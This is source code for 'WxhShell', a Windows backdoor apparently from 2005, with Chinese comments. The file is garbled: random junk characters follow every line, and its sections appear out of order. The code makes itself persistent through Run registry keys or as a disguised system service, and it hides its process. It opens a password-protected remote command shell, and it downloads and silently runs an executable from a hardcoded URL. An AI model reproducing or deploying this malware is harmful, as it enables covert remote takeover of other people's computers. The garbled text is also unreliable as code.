DWORD ExitStatus; Yru,YA
DWORD PebBaseAddress; *aYuuRx
DWORD AffinityMask; ^%1u3
DWORD BasePriority; #/t+h#jG
ULONG UniqueProcessId; {XXnMO4uR;
ULONG InheritedFromUniqueProcessId; ;t/KF"
} PROCESS_BASIC_INFORMATION; $F/xv&t
.8|"@
PROCNTQSIP NtQueryInformationProcess; qP9`p4c8i
b$/7rVH!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y?iW^>|?L=
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R_80J=%0
s?9`dv}P
HANDLE hProcess; /.UISArH
PROCESS_BASIC_INFORMATION pbi; S2
-J1x2N
(V}?y:)
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q0XSQ Ol
if(NULL == hInst ) return 0; xd`\Ai
7<*g'6JG[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |lIgvHgg
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NiVZ=wEp,
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5z.Y}
Xag#ZT
if (!NtQueryInformationProcess) return 0; Eh *u6K)Z
R,l*@3Q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #=ko4?Wr(
if(!hProcess) return 0; E]pDp
/D
j^/^PUR
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z>*\nomOn=
TQpR'
CloseHandle(hProcess); F\<{:wu
,9buI='
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q+IB&LdE
if(hProcess==NULL) return 0; XS>( Bu
!H zJ*
HMODULE hMod; 5',&8
char procName[255]; .07kG]
unsigned long cbNeeded; [KEw5-=i@
7#PQ1UWl
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^_=bssaOd
bW GMgC
CloseHandle(hProcess); Om8Sgy?
3[R[`l]v?
if(strstr(procName,"services")) return 1; // 以服务启动 \mFgjPz
p3IhK>
return 0; // 注册表启动 )|&FBz;
} Q*9Y.W. 8
?{1& J9H
// 主模块 $L72%T
int StartWxhshell(LPSTR lpCmdLine) F>k/;@d
{ LP>GM=S#"
SOCKET wsl; dp }zG+
BOOL val=TRUE; Upc_"mkI.
int port=0; &8JK^zQq
struct sockaddr_in door; :TP\pH 7E
7!
/+[G
if(wscfg.ws_autoins) Install(); {afIr1j/m
iG{xDj{CKv
port=atoi(lpCmdLine); #a 4X*X.8c
^5R2~
if(port<=0) port=wscfg.ws_port; R E9`T
%d0BQ|
WSADATA data; }n k[WW
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rDLgQ{Sea
@,q <CF@Y
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >%c>R'~h
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l(Uwci
door.sin_family = AF_INET; 5C5OLAl v
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !wo
door.sin_port = htons(port); G9~ 4?v6:
/!pJ" @
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
\[]4rXZN0
closesocket(wsl); CH0Nkf
return 1; j
HEt
} m :2A[H+
p|w0
i[hc
if(listen(wsl,2) == INVALID_SOCKET) { D1wONss
closesocket(wsl); 0>ce~KU
return 1; -]Aqt/w"l
} acow
Wxhshell(wsl); +DYsBCVbag
WSACleanup(); 8)YDUE%VH
Eg_ram`\R
return 0; 8M7Bw[Q1
$AdBX}{
} =A_fL{ SM
Z)<lPg!YAR
// 以NT服务方式启动 &[5pR60
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O&@CT] )8
{ HDj260a
DWORD status = 0; a-NicjV#
DWORD specificError = 0xfffffff; V=H :`n3k
Bm+Ca:p%
serviceStatus.dwServiceType = SERVICE_WIN32; +?6@%mW'
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Bk/&H-NI
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fzy5k?R
serviceStatus.dwWin32ExitCode = 0; q!YAA\'31
serviceStatus.dwServiceSpecificExitCode = 0; X?'pcYSL
serviceStatus.dwCheckPoint = 0; }qBmt>#
serviceStatus.dwWaitHint = 0; 5I/lF oy7
fN6n2*wr(
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A(+%DZ
if (hServiceStatusHandle==0) return; aqv'c
j>
[=^Wj`;
status = GetLastError(); a2eE!I
if (status!=NO_ERROR) ,hE989x<iI
{ _>4)q=
serviceStatus.dwCurrentState = SERVICE_STOPPED; nNh5f]]
serviceStatus.dwCheckPoint = 0; @el
serviceStatus.dwWaitHint = 0; pz]!T'
serviceStatus.dwWin32ExitCode = status; EvF[h:C2
serviceStatus.dwServiceSpecificExitCode = specificError; 6K^O.VoV^J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); wQ81wfr1:
return; No*[@D]g
} dQy K4T
aAgQ^LY
serviceStatus.dwCurrentState = SERVICE_RUNNING; m{r#o?
serviceStatus.dwCheckPoint = 0; +9B .}t#
serviceStatus.dwWaitHint = 0; ]l,,en5V
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KY\=D 2m
} !i\ gCLg2_
`7R-2
w<b?
// 处理NT服务事件,比如:启动、停止 $4BvDZDk`B
VOID WINAPI NTServiceHandler(DWORD fdwControl) x7/";L>
{ W"&,=wvg2
switch(fdwControl) }d%Fl}.Ez
{ 9^@)R
ED
case SERVICE_CONTROL_STOP: \85~~v@
serviceStatus.dwWin32ExitCode = 0; \t)`Cp6,[b
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7 4]qz,
serviceStatus.dwCheckPoint = 0; s%1ZraMvJ
serviceStatus.dwWaitHint = 0; *NC@o*
{ #@F.wV0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &_74h);2I:
} %a!gN
return; %Rk DR
case SERVICE_CONTROL_PAUSE: :TkMS8
serviceStatus.dwCurrentState = SERVICE_PAUSED; e9>~mtx
break; `UTUrM
case SERVICE_CONTROL_CONTINUE: [Kaa{+,(
serviceStatus.dwCurrentState = SERVICE_RUNNING; %^[D+1ULb
break; /O~Np|~v
case SERVICE_CONTROL_INTERROGATE: B:Hr{%O
break; }
|
}; <
pZwM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s;-AZr)
} lX"6m}~D
6"R'z#{OF
// 标准应用程序主函数 >T-4!ZvS\j
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =nqHVRA
{ `\f 3Ij,
9*r^1PRc
// 获取操作系统版本 cZ# %tT#
OsIsNt=GetOsVer(); .eLd0{JtN
GetModuleFileName(NULL,ExeFile,MAX_PATH); mv^X{T
: [7O=[pk
// 从命令行安装 o7@C$R_#
if(strpbrk(lpCmdLine,"iI")) Install(); zjOOEvi
cQm4q19
// 下载执行文件 mi[8O$^iJ
if(wscfg.ws_downexe) { !s:e
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'xEK0~awD
WinExec(wscfg.ws_filenam,SW_HIDE); mhB2l/
} ij;P5OA
8|zOgn{
if(!OsIsNt) { c3r`T{Kf
// 如果时win9x,隐藏进程并且设置为注册表启动 2f620
HideProc(); bF5"ab0
StartWxhshell(lpCmdLine); /aIGq/;Y+a
}
]sJC%/
else bkS"]q)>
if(StartFromService()) p}<60O"r$
// 以服务方式启动 ?'_6M4UKa
StartServiceCtrlDispatcher(DispatchTable); gtePo[ZH.P
else B9Hib1<8
// 普通方式启动 fH$#vRcq
StartWxhshell(lpCmdLine); mhy='AQJ
9zY6hh**
return 0; vrcIwCa
} k81%$E
5DVYHN9c|
b` va\'&3
~]q>}/&YLo
=========================================== n4y]h
fP\q?X@]E
8KYI Hw
8QoxU"
c&
52zE -SY
i1!1'T8
" A+3SLB
~clX2U8u`
#include <stdio.h> }pIn3B)
#include <string.h> D
<R_eK
#include <windows.h> G? XS-oSv
#include <winsock2.h> _^NyLI%
#include <winsvc.h> t"Ah]sD
#include <urlmon.h> FSn3p}FVa
6)7cw8^
#pragma comment (lib, "Ws2_32.lib") B(k tIy
#pragma comment (lib, "urlmon.lib") @&Bh!_TWc
E&eY79
#define MAX_USER 100 // 最大客户端连接数 0^sY>N"
#define BUF_SOCK 200 // sock buffer f 9Kt>2IN
#define KEY_BUFF 255 // 输入 buffer %S'+x[4W
b?c/J{me
#define REBOOT 0 // 重启 U7?v4O]D[
#define SHUTDOWN 1 // 关机 *mbzK*
8QZI(Xe9r
#define DEF_PORT 5000 // 监听端口 }YVF
fi~
S0QLM)
#define REG_LEN 16 // 注册表键长度 ml<tH2Qx3C
#define SVC_LEN 80 // NT服务名长度 .Z
67
y^ |u'XK
// 从dll定义API ],k~t5+
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7eAV2.
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9@yF7
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sRA2O/yKCE
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N9-7YQ`D
E6ZkO/
// wxhshell配置信息 1^^8,.'
struct WSCFG { qz{9ND|)
int ws_port; // 监听端口 T7^;!;i`X
char ws_passstr[REG_LEN]; // 口令 `Z8k#z'bN
int ws_autoins; // 安装标记, 1=yes 0=no e6Y>Bk
char ws_regname[REG_LEN]; // 注册表键名 t>/x-{bH\
char ws_svcname[REG_LEN]; // 服务名 )*>wa%[-q
char ws_svcdisp[SVC_LEN]; // 服务显示名 !*Eu(abD
char ws_svcdesc[SVC_LEN]; // 服务描述信息 \yC /OLXq
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0o"aSCq8t
int ws_downexe; // 下载执行标记, 1=yes 0=no #79[Qtkrhm
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &29jg_'W
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 | @$I<
ao"2kqa)r
}; 6Eu(C]nC(
>ItT269G
// default Wxhshell configuration )38%E;T{X
struct WSCFG wscfg={DEF_PORT, (u} /(Ux
"xuhuanlingzhe", ]i@73h YT
1, }`g-eF>p
"Wxhshell", DZtpY{=Z
"Wxhshell", >Vjn]V5y
"WxhShell Service", !@F { FR
"Wrsky Windows CmdShell Service", f|FS%]fCxk
"Please Input Your Password: ", t4[q:[1
1, BB\GrD
"http://www.wrsky.com/wxhshell.exe", ]JYE#F
"Wxhshell.exe" ,>h"~X
}; o+'|j#P
Y~85Z0l
// 消息定义模块 gS5MoW1
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y=O+d\_W
char *msg_ws_prompt="\n\r? for help\n\r#>"; G<n75!
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q(nTL WW
char *msg_ws_ext="\n\rExit."; ]}XDDPbZ}
char *msg_ws_end="\n\rQuit."; $Gv@lZ@=
char *msg_ws_boot="\n\rReboot..."; >kK@tJn
char *msg_ws_poff="\n\rShutdown..."; ZBK0`7#&EH
char *msg_ws_down="\n\rSave to "; |HD>m'e
i7XY3yhC
char *msg_ws_err="\n\rErr!"; {pIh/0
char *msg_ws_ok="\n\rOK!"; $t.oGd@N
LhbdvJAk@
char ExeFile[MAX_PATH]; jez0 A
int nUser = 0; H.ksI;,
HANDLE handles[MAX_USER]; uBx\xeI
int OsIsNt; w;`Jj-
$|- Lw!)D
SERVICE_STATUS serviceStatus; m0TV i] v
SERVICE_STATUS_HANDLE hServiceStatusHandle; JM,%|
E
Y~g{9 <!
// 函数声明 B[GC@]HE
int Install(void); p%>sc
int Uninstall(void); 8%#8PLB2
int DownloadFile(char *sURL, SOCKET wsh); z7bJV/f
int Boot(int flag); `}l%61n0
void HideProc(void); tr[}F7n9
int GetOsVer(void); '7sf)0\:<p
int Wxhshell(SOCKET wsl); PJC(:R(j
void TalkWithClient(void *cs); 7,+eG">0
int CmdShell(SOCKET sock); x?{UWh%
int StartFromService(void); pqb'L]
int StartWxhshell(LPSTR lpCmdLine); IDH~nMz
6I
+0@,I
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ES&u*X:
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7qB4_
(4cdkL
// 数据结构和表定义 .Rk8qRB
SERVICE_TABLE_ENTRY DispatchTable[] = LBCH7@V1yR
{ >nghFm
{wscfg.ws_svcname, NTServiceMain}, S@HC$
{NULL, NULL} :}zyd;Rc
}; |NZi2Bu
v"o"W[
// 自我安装 Wn(!6yid
int Install(void) U]sAYp^$
{ SWV*w[X<X
char svExeFile[MAX_PATH]; ~{/M_
=
HKEY key; V2Vr7v=Y"
strcpy(svExeFile,ExeFile); f[k#Znr
^[xcfTN
// 如果是win9x系统,修改注册表设为自启动 q5SPyfE[
if(!OsIsNt) { *=!e,
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .P)lQk\
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~DInd-<5
RegCloseKey(key); o:AfEoH"~
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8~C_ng-wn
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wc;n=
%
RegCloseKey(key); 6e+'Y"v
return 0; CLrX!JV>
} u[b |QR=5
} p@^G)x
} \sAaVdZJH(
else { 'ztOl`I5V
{=ox1+d
// 如果是NT以上系统,安装为系统服务 W7qh1}_%
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oZvG Kf
if (schSCManager!=0) 4`5yrCd
{ &